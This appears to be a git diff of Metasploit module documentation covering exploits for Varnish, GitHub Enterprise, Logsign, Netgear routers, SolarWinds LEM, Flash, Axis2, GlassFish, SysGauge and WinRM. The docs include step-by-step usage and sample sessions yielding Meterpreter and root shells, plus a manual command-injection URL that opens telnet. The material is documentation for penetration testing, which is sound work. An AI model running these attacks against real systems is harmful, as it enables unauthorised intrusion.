|
||||
CLIS_SYNTAX = 100,
|
||||
CLIS_UNKNOWN = 101,
|
||||
CLIS_UNIMPL = 102,
|
||||
CLIS_TOOFEW = 104,
|
||||
CLIS_TOOMANY = 105,
|
||||
CLIS_PARAM = 106,
|
||||
CLIS_OK = 200,
|
||||
CLIS_CANT = 300,
|
||||
CLIS_COMMS = 400,
|
||||
CLIS_CLOSE = 500
|
||||
};
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format:
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
|
||||
4. Do: ```run```
|
||||
5. Find a valid login.
|
||||
|
||||
## Options
|
||||
|
||||
**PASS_FILE**
|
||||
|
||||
File which contains the password list to use.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
|
||||
|
||||
```
|
||||
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
|
||||
resource (varnish.rc)> set pass_file /root/varnish.list
|
||||
pass_file => /root/varnish.list
|
||||
resource (varnish.rc)> set rhosts 192.168.2.85
|
||||
rhosts => 192.168.2.85
|
||||
resource (varnish.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (varnish.rc)> run
|
||||
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(varnish_cli_login) >
|
||||
```
|
||||
|
||||
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
|
||||
|
||||
```
|
||||
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
|
||||
resource (varnish.rc)> set pass_file /root/varnish.list
|
||||
pass_file => /root/varnish.list
|
||||
resource (varnish.rc)> set rhosts 192.168.2.85
|
||||
rhosts => 192.168.2.85
|
||||
resource (varnish.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (varnish.rc)> run
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
|
||||
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
|
||||
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,68 @@
|
|||
This module exploits two security issues found in Github Enterprise 2. The first problem is
|
||||
that the session management uses a hard-coded secret value, which can be abused to sign a
|
||||
serialized malicious object. The second problem is that the serialized string is passed to
|
||||
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
|
||||
malicious attacker can take advantage of these problems to achieve remote code execution.
|
||||
|
||||
According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded
|
||||
$18,000 total.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The following versions are affected:
|
||||
|
||||
* 2.8.0 - 2.8.6.
|
||||
|
||||
For testing purposes, you can download a Github Enterprise image from the following location:
|
||||
|
||||
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
|
||||
|
||||
This module was specifically tested against version 2.8.0, which can be downloaded here:
|
||||
|
||||
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
|
||||
|
||||
Before you install the image, you must have a valid key. Start from here:
|
||||
|
||||
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
|
||||
|
||||
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
|
||||
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
|
||||
to complete installing your Github Enterprise system.
|
||||
|
||||
## Using github_enterprise_secret
|
||||
|
||||
The module consists of two features: the ```check``` command and the ```exploit``` command.
|
||||
|
||||
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
|
||||
cookie, and then attempts to create the same hash using the default secret key. If the two match,
|
||||
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
|
||||
|
||||
```
|
||||
msf exploit(github_enterprise_secret) > check
|
||||
|
||||
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
|
||||
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
|
||||
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
|
||||
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
|
||||
[*] The HMACs match, which means you can sign and tamper the cookie.
|
||||
[+] 192.168.146.201:8443 The target is vulnerable.
|
||||
msf exploit(github_enterprise_secret) >
|
||||
```
|
||||
|
||||
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
|
||||
|
||||
```
|
||||
msf exploit(github_enterprise_secret) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.1:4444
|
||||
[*] Serialized Ruby stager
|
||||
[*] Sending serialized Ruby stager...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.146.201
|
||||
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
|
||||
[+] Deleted /tmp/htBDuK.bin
|
||||
[+] Deleted /tmp/kXgpK.bin
|
||||
[*] Connection timed out
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,79 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
|
||||
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Open OVA file with your preferred virtualisation application.
|
||||
2. Before starting the virtual machine, choose NAT mode for interface.
|
||||
3. Once the machine started, you must be seeing following information on screen.
|
||||
```
|
||||
Ubuntu 12.04.05 LTS - logsign customer tty1
|
||||
IP: 12.0.0.10
|
||||
...
|
||||
Version: Focus
|
||||
4.4.2
|
||||
```
|
||||
4. Access the management interface by visiting `https://<ip_address>` through your browser.
|
||||
5. Complete the installation by just submitting the fake data.
|
||||
|
||||
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
|
||||
|
||||
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
|
||||
|
||||
1. Reboot the machine
|
||||
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
|
||||
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
|
||||
4. You must be seeing terminal right now. Execute following commands.
|
||||
```
|
||||
mount -rw -o remount /
|
||||
```
|
||||
5. Execute following command specify a new password for root user.
|
||||
```
|
||||
passwd root
|
||||
```
|
||||
6. As a final step, reboot the machine.
|
||||
```
|
||||
reboot
|
||||
```
|
||||
7. Login with your root user.
|
||||
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
|
||||
```
|
||||
address 12.0.0.10
|
||||
netmask 255.255.255.0
|
||||
<removed line starting with 'network'>
|
||||
<removed line starting with 'broadcast'>
|
||||
gateway 12.0.0.2
|
||||
dns-nameservers 8.8.8.8
|
||||
```
|
||||
9. Reboot the machine for a last time.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start `msfconsole`
|
||||
3. `use exploit/linux/http/logsign_exec`
|
||||
4. `set rhost 12.0.0.10
|
||||
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
|
||||
7. `set LHOST 12.0.0.1`
|
||||
8. `check` and validate that you are seeing following output.
|
||||
|
||||
```
|
||||
[+] 12.0.0.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Here you go. Type `exploit` and hit the enter.
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Delivering payload...
|
||||
[*] Sending stage (38651 bytes) to 12.0.0.10
|
||||
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -1,4 +1,4 @@
|
|||
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
|
||||
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
|
|||
3. Do: `set RHOST <RouterIP>`
|
||||
4. Do: `set PAYLOAD <payload>`
|
||||
5. Do: `run`
|
||||
6. If the router is a R7000 or R6400, the module should run
|
||||
6. If the router is a R7000 or R6400, you should get a session
|
||||
|
||||
## Options
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
|
||||
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Sample output of the options looks like so
|
||||
|
||||
Sample output of a successful session:
|
||||
|
||||
```
|
||||
msf exploit(netgear_r7000_cgibin_exec) > options
|
||||
msf exploit(netgear_r7000_cgibin_exec) > run
|
||||
|
||||
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Router is a NETGEAR router (R7000)
|
||||
[+] Router may be vulnerable (NETGEAR R7000)
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://[redacted]:8080/
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.1 yes The target address
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.153.34 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Target
|
||||
|
||||
msf exploit(netgear_r7000_cgibin_exec) >
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.4
|
||||
OS : (Linux 2.6.36.4brcmarm+)
|
||||
Architecture : armv7l
|
||||
Meterpreter : armle/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
As you can see, the `uid` is 0, meaning you have root access.
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
|
||||
|
||||
Vulnerable application can be download as a free trial from vendor webpage.
|
||||
[http://www.solarwinds.com/log-event-manager](http://www.solarwinds.com/log-event-manager)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/ssh/solarwinds_lem_exec`
|
||||
3. Do: `set rhost <ip>`
|
||||
4. Do: `set lhost <ip>`
|
||||
5. Do: `exploit`
|
||||
6. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a run against a known vulnerable Solarwinds LEM server.
|
||||
```
|
||||
msf exploit(solarwind_lem_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] 12.0.0.154:32022 - Attempt to login...
|
||||
[+] SSH connection is established.
|
||||
[*] Requesting pty... We need it in order to interact with menuing system.
|
||||
[+] Pty successfully obtained.
|
||||
[*] Requesting a shell.
|
||||
[+] Remote shell successfully obtained.
|
||||
[+] Step 1 is done. Managed to access terminal menu.
|
||||
[+] Step 2 is done. Managed to select 'service' sub menu.
|
||||
[+] Step 2 is done. Managed to select 'service' sub menu.
|
||||
[+] Step 3 is done. Managed to start 'restrictssh' function.
|
||||
[+] Step 4 is done. We are going to try escape from jail shell.
|
||||
[+] Sweet..! Escaped from jail.
|
||||
[*] Delivering payload...
|
||||
[*] Sending stage (38651 bytes) to 12.0.0.154
|
||||
[*] Meterpreter session 3 opened (12.0.0.1:4444 -> 12.0.0.154:43361) at 2017-03-17 21:59:05 +0300
|
||||
[-] Exploit failed: Errno::EBADF Bad file descriptor
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
msf exploit(solarwind_lem_exec) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: cmc
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,65 @@
|
|||
## Description
|
||||
|
||||
This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public as part of the July 2015 data leak, was described as an Use After Free while handling ByteArray objects. This module has been tested successfully on:
|
||||
|
||||
1. Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194.
|
||||
2. Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194.
|
||||
3. Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194.
|
||||
4. Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194.
|
||||
5. Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/adobe_flash_hacking_team_uaf```
|
||||
2. Do: ```set payload windows/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
### IE 11 and Flash 18.0.0.194
|
||||
|
||||
```
|
||||
msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > set LHOST 172.16.178.160
|
||||
LHOST => 172.16.178.160
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > set srvhost 172.16.178.80
|
||||
srvhost => 172.16.178.80
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > set SRVPORT 80
|
||||
SRVPORT => 80
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > exploit
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.178.160:4444
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > [*] Local IP: http://127.0.0.1:80/
|
||||
[*] Server started.
|
||||
|
||||
msf exploit(adobe_flash_hacking_team_uaf) >
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Gathering target information.
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML response.
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML...
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/AsvCG.swf
|
||||
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending SWF...
|
||||
[*] Sending stage (957999 bytes) to 172.16.178.80
|
||||
[*] Meterpreter session 1 opened (172.16.178.160:4444 -> 172.16.178.80:49167) at 2017-03-26 22:51:29 +0900
|
||||
|
||||
msf exploit(adobe_flash_hacking_team_uaf) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN7X64TJ7XH-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64 (Current Process is WOW64)
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.
|
||||
|
||||
## Axis2 Web Admin
|
||||
|
||||
The Apache Axis2 Web application has three main sections:'Services' lists all the available services deployed in this server, 'Validate' checks the system to see whether all the required libraries are in place and views the system information, and 'Administration' is the Axis2 Web Administration module which is the console for administering the Apache Axis2 installation. The Axis2 Web Administration module provides a way to configure Axis2 dynamically.
|
||||
|
||||
**IMPORTANT:** This dynamic configuration will NOT be persistent, i.e., if the servlet container is restarted, then all the dynamic configuration changes will be lost.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/http/axis2_deployer```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
3. Do: ```set USERNAME [Username]```
|
||||
4. Do: ```set PASSWORD [Password]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/axis2_deployer
|
||||
msf exploit(axis2_deployer) > set RHOST 10.10.155.37
|
||||
RHOST => 10.10.155.37
|
||||
msf exploit(axis2_deployer) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf exploit(axis2_deployer) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(axis2_deployer) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf exploit(axis2_deployer) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.155.39:4444
|
||||
[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
|
||||
[*] Successfully uploaded
|
||||
[*] Polling to see if the service is ready
|
||||
[*] Sending stage (30355 bytes) to 10.10.155.37
|
||||
[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
|
||||
|
||||
[*] NOTE: You will need to delete the web service that was uploaded.
|
||||
|
||||
[*] Using meterpreter:
|
||||
[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
|
||||
|
||||
[*] Using the shell:
|
||||
[*] cd "webapps/axis2/WEB-INF/services"
|
||||
[*] del mdLFvgMv.jar
|
||||
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: Administrator
|
||||
meterpreter > sysinfo
|
||||
Computer : juan-6ed9db6ca8
|
||||
OS : Windows 2003 5.2 (x86)
|
||||
Meterpreter : java/java
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
|
||||
|
||||
```
|
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
|
||||
This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation.
|
||||
|
||||
## GlassFish
|
||||
|
||||
GlassFish is a open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server. GlassFish is free software, dual-licensed under two free software licences: the Common Development and Distribution License (CDDL) and the GNU General Public License (GPL) with the classpath exception.
|
||||
|
||||
## Installation
|
||||
|
||||
For testing purposes, the following explains how you can install a vulnerable version of GlassFish on Ubuntu Linux:
|
||||
|
||||
1. Make sure you have a clean Ubuntu box
|
||||
2. Open a terminal on the Ubuntu box, and do: ```sudo apt-get install default-jdk```. We assume this gives you JDK 8.
|
||||
3. Download [GlassFish 4.0](http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip)
|
||||
4. Unzip GlassFish-4.0, navigate to the bin directory, and then start ```asadmin```
|
||||
5. In the asadmin console, do ```start-domain domain1```. This will start GlassFish.
|
||||
6. On the Ubuntu box, go to http://localhost:4848 with a browser
|
||||
7. On the left menu, click on ```Domain```
|
||||
8. On the right, click on ```Administrator Password```
|
||||
9. Set a new password for admin
|
||||
10. On the left menu, click on ```server (Admin server)```
|
||||
11. On the right, click on ```Secure Administrator```
|
||||
12. Click on ```Enable Secure Admin```
|
||||
13. You will need to wait for up to a minute to make sure GlassFish is up and running again on port 4848.
|
||||
|
||||
If you are on a different platform (such as Windows), the installation should be quite similar.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/http/glassfish_deployer```
|
||||
2. Do: ```set RHOST [IP]```
|
||||
3. Do: ```set USERNAME [Username]```
|
||||
4. Do: ```set PASSWORD [Password]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/glassfish_deployer
|
||||
msf exploit(glassfish_deployer) > set RHOST 172.16.182.237
|
||||
RHOST => 172.16.182.237
|
||||
msf exploit(glassfish_deployer) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(glassfish_deployer) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf exploit(glassfish_deployer) > exploit
|
||||
[*] Started reverse TCP handler on 172.16.182.112:4444
|
||||
[*] Glassfish edition: GlassFish Server Open Source Edition 3.0.1
|
||||
[*] Trying GlassFish authentication bypass..
|
||||
[+] http://172.16.182.237:4848// - GlassFish - SUCCESSFUL authentication bypass
|
||||
[*] Uploading payload...
|
||||
[*] Successfully uploaded
|
||||
[*] Executing /icDfejbl6Vc9ZobfgVv9LIBES/SV7fVtWuTQFZqtzMPiJ.jsp...
|
||||
[*] Sending stage (30355 bytes) to 172.16.182.237
|
||||
[*] Meterpreter session 1 opened (172.16.182.112:4444 -> 172.16.182.237:1472) at 2017-03-27 19:07:58 -0500
|
||||
[*] Getting information to undeploy...
|
||||
[*] Undeploying icDfejbl6Vc9ZobfgVv9LIBES...
|
||||
[*] Undeployment complete.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: Administrator
|
||||
meterpreter > sysinfo
|
||||
Computer : juan-6ed9db6ca8
|
||||
OS : Windows 2003 5.2 (x86)
|
||||
Meterpreter : java/java
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
|
||||
via its SMTP server validation. The module sends a malicious response along in the
|
||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||
|
||||
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
|
||||
4. Do: ```set payload windows/meterpreter/reverse_tcp```
|
||||
5. Do: ```set LHOST ip```
|
||||
6. Do: ```run```
|
||||
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
|
||||
in the program, and hit the "Verify Email ..." button.
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Here is how to typically execute the module. Note that the client must input this SMTP server
|
||||
information under SysGauge Options and hit the "Verify Email ..." button.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/smtp/sysgauge_client_bof
|
||||
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
|
||||
lhost => 10.0.0.1
|
||||
msf exploit(sysgauge_client_bof) > exploit
|
||||
[*] Exploit running as background job.
|
||||
msf exploit(sysgauge_client_bof) >
|
||||
[*] Started reverse TCP handler on 10.0.0.1:4444
|
||||
[*] Server started.
|
||||
[*] Client connected: 10.0.0.128
|
||||
[*] Sending payload...
|
||||
[*] Sending stage (957487 bytes) to 10.0.0.128
|
||||
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
|
||||
```
|
|
@ -0,0 +1,146 @@
|
|||
## Vulnerable Application
|
||||
|
||||
WinRM, is a Windows-native built-in remote management protocol in its simplest form that uses Simple Object Access Protocol to interface with remote computers and servers, as well as Operating Systems and applications. It handles remote connections by means of the WS-Management Protocol, which is based on SOAP (Simple Object Access Protocol).
|
||||
This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. This module will check if Poweshell 2.0 is available, and if so then it will use that method. Otherwise it falls back to the VBS CmdStager which is less stealthy.
|
||||
|
||||
**IMPORTANT:** If targetting an x64 system with the Poweshell method, one must select an x64 payload. An x86 payload will never return.
|
||||
|
||||
## Example Usage
|
||||
|
||||
### Windows 2008
|
||||
|
||||
**Powershell 2.0 is used for payload delivery here**
|
||||
|
||||
```
|
||||
msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec
|
||||
msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(winrm_script_exec) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(winrm_script_exec) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf exploit(winrm_script_exec) > set LHOST 192.168.198.138
|
||||
LHOST => 192.168.198.138
|
||||
msf exploit(winrm_script_exec) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(winrm_script_exec) > set RHOST 192.168.198.130
|
||||
RHOST => 192.168.198.130
|
||||
msf exploit(winrm_script_exec) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] checking for Powershell 2.0
|
||||
[*] Attempting to set Execution Policy
|
||||
[+] Set Execution Policy Successfully
|
||||
[*] Grabbing %TEMP%
|
||||
[*] Uploading powershell script to C:\Users\ADMINI~1\AppData\Local\Temp\uFWUOIgQ.ps1 (This may take a few minutes)...
|
||||
[*] Attempting to execute script...
|
||||
[*] Sending stage (752128 bytes) to 192.168.198.130
|
||||
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:30:05 +0100
|
||||
meterpreter >
|
||||
[*] Session ID 1 (192.168.198.138:4444 -> 192.168.198.130:5985) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
|
||||
[*] Current server process: powershell.exe (608)
|
||||
[+] Migrating to 568
|
||||
[+] Successfully migrated to process
|
||||
meterpreter > sysinfo
|
||||
gComputer : WIN-JZF4OTQMX4W
|
||||
OS : Windows 2008 (Build 6002, Service Pack 2).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Meterpreter : x86/win32
|
||||
meterpreter > getuid
|
||||
gServer username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > getpid
|
||||
Current pid: 568
|
||||
meterpreter >
|
||||
|
||||
```
|
